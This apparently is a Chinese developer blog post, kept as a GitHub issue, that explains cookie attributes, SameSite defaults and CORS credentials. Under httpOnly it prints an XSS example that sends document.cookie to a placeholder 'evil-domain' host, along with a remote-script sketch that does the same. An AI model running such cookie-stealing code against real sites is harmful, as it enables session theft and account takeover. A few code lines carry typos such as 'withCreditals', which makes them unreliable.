diveDylan / blog

My blog, detail is in the issues list
2 stars 0 forks source link

SameSite与Cookie #69

Open diveDylan opened 4 years ago

diveDylan commented 4 years ago

最近处理公司项目业务中遇到用iframe嵌套多个系统的需求。折腾一番sso 302重定向一直不行,反复定位确认了是chrome高版cookie SameSite策略由None变更为Lax。网络请求面板中Response Header --- Set-Cookie会出现一个⚠️的block提示, image

大概含义是: set cookie被阻断了,因为浏览器SameSite策略默认是Lax,如果需要设置跨站Cookie,SameSite值一定要是None

正好梳理下Cookie的知识

Cookie是啥

http是超文本协议,这个一个无状态协议,为了保持会话状态,规范推出了Cookie的用于维持会话状态,随着时代的发展也常用于个性化定制、用户行为分析等场景。Cookie是一个请求首部,其中含有先前由服务器通过 Set-Cookie 首部投放并存储到客户端的 HTTP cookies。如果需要设置多个cookie可以在Response Headers中设置多个Set-CookieCookie可以通过Chrome --> Application --> Storage --> Cookies查看.

Cookie的组成

Cookie是一个序列化的字符,包含以下字段:

domain

储存这个Cookie对应的域名信息,domain是从右往左阅读,结构如下:

// 二级域名.一级域名.顶级域名(TLD)
test05.dongfangfuli.com

值得注意域名设置cookie可以从下往上,不能从上往下,且无关请求协议

### server crm.dongfangfuli.com
// all the request to *.dongfangfuli.com will send this cookie
setCookie('token=dylan;domain=.dongfangfuli.com')  
// only send when domain is crm.dongfangfuli.com
setCookie('token=dylan')
setCookie('token=dylan;domain=crm.dongfangfuli.com')

httpOnly

只允许http请求获取Cookie,禁止JS脚本获取Cookie

// 解决 XSS跨站脚本攻击的手段之一
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
// or
<script src='csfr.com/a.js'/>
//  csfr.com/a.js
function fetchUserInfo() {
     sendCookie(document.cookie, location.origin)
}

Secure

类似httpsOnly的作用同时也是设置SameSite=none前置条件

expires / Max-age

失效时间,expires代表失效日期,Max-age代表持续时间,两个都是以浏览器时间为准。

  1. 如果同时设定,Max-age的优先级高于expires,跟http-caching的行为表现相似。
  2. 如果都未设定(或者 Max-age为负),则浏览器会自动作为一个设置为session作为一个session cookie

SameSite

大多数主流浏览器正在将 SameSite 的默认值迁移至 Lax。

SameSite Cookie允许服务器要求某个 cookie 在跨站请求时不会被发送,一定程度上可以阻止跨站请求伪造攻击(CSRF)。 它有三个值:

  1. None。浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
  2. Strict。浏览器将只在访问相同站点时发送 cookie。
  3. Lax。与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送。如 link 链接 跨站和跨域不是同一个概念
    
    // 跨站 && 跨域
    www.baidu.com  www.dongfangfuli.com
    // 同站 && 跨域
    www.a.dongfangfuli.com www.b.dongfangfuli.com
![image](https://user-images.githubusercontent.com/28706090/98662373-a2dc4f80-2382-11eb-8a47-4d465724809c.png)

## CORS跨域请求携带cookie
```js
// App
xhr.withCreditals: true
### http || https 
Access-Control-Allow-Origin: <Origin>
Access-Control-Allow-Credentials: true
### if you have two header `Access-Control-Allow-Credential: true` 
### it make reponse behaviour like `Access-Control-Allow-Credential: true, true`
### umi request
{
  // 'credentials' indicates whether the user agent should send cookies from the other domain in the case of cross-origin requests.
  // omit: Never send or receive cookies.
  // same-origin: Send user credentials (cookies, basic http auth, etc..) if the URL is on the same origin as the calling script. This is the default value.
  // include: Always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls.
  credentials: 'include', // default
}